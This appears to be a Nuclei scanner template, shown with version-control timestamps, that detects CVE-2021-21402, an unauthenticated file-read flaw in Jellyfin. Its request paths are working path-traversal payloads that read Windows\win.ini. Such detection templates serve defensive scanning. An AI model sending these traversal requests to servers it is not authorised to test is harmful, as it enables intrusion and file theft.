2021-04-01 22:16:53 +00:00
|
|
|
id: CVE-2021-21402
|
|
|
|
|
|
|
|
info:
|
2021-04-06 10:38:03 +00:00
|
|
|
name: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read
|
2021-04-01 22:16:53 +00:00
|
|
|
author: dwisiswant0
|
2021-04-01 22:17:07 +00:00
|
|
|
severity: high
|
2021-04-01 22:16:53 +00:00
|
|
|
description: |
|
|
|
|
Jellyfin allows unauthenticated arbitrary file read. This issue is more prevalent when
|
|
|
|
Windows is used as the host OS. Servers that are exposed to the public Internet are
|
|
|
|
potentially at risk. This is fixed in version 10.7.1.
|
|
|
|
reference: https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
|
|
|
|
tags: cve,cve2021,jellyfin,lfi
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-04-02 00:11:37 +00:00
|
|
|
- "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
|
|
|
|
- "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
|
2021-04-01 22:16:53 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2021-04-02 00:17:18 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "Content-Type: application/octet-stream"
|
|
|
|
part: header
|
2021-04-01 22:16:53 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "\\[(font|extension|file)s\\]"
|
|
|
|
part: body
|